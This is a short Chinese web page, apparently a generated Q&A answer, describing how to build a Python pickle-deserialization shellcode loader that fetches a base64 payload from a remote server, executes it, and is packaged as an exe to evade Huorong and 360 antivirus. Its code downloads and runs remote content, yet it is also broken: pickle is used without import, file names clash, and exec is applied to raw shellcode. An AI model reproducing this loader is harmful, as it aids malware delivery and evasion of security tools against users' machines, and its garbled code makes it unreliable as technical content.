Python反序列化免杀执行代码
时间: 2024-01-21 21:13:23 浏览: 163
利用Python反序列化运行加载器实现免杀1
为了Python反序列化免杀执行代码,可以使用以下步骤:
1. 生成Python x64 shellcode,并将其放入payload.py文件中。
2. 对shellcode进行base64编码,并将其保存在服务器上的shellcode_bs64.txt文件中。
3. 编写shellcode.py文件,向服务器发送请求以读取payload.txt文件,对其进行序列化并进行base64编码。
4. 编写exp.py文件进行反序列化,加载恶意shellcode。
5. 打包exe文件,以便绕过火绒、360等杀毒软件的检测。
以下是具体操作步骤:
1. 生成Python x64 shellcode,并将其放入payload.py文件中。
2. 对shellcode进行base64编码,并将其保存在服务器上的shellcode_bs64.txt文件中。
3. 编写shellcode.py文件,向服务器发送请求以读取payload.txt文件,对其进行序列化并进行base64编码。
```python
import requests
import base64
url = 'http://yourserver.com/shellcode_bs64.txt'
response = requests.get(url)
shellcode = response.content
# 对shellcode进行反序列化并进行base64编码
serialized = base64.b64encode(pickle.dumps(shellcode)).decode('utf-8')
```
4. 编写exp.py文件进行反序列化,加载恶意shellcode。
```python
import requests
import base64
import pickle
url = 'http://yourserver.com/shellcode.py'
response = requests.get(url)
serialized = response.content
# 对序列化的数据进行反序列化
data = pickle.loads(base64.b64decode(serialized))
# 加载恶意shellcode
exec(data)
```
5. 打包exe文件,以便绕过火绒、360等杀毒软件的检测。
阅读全文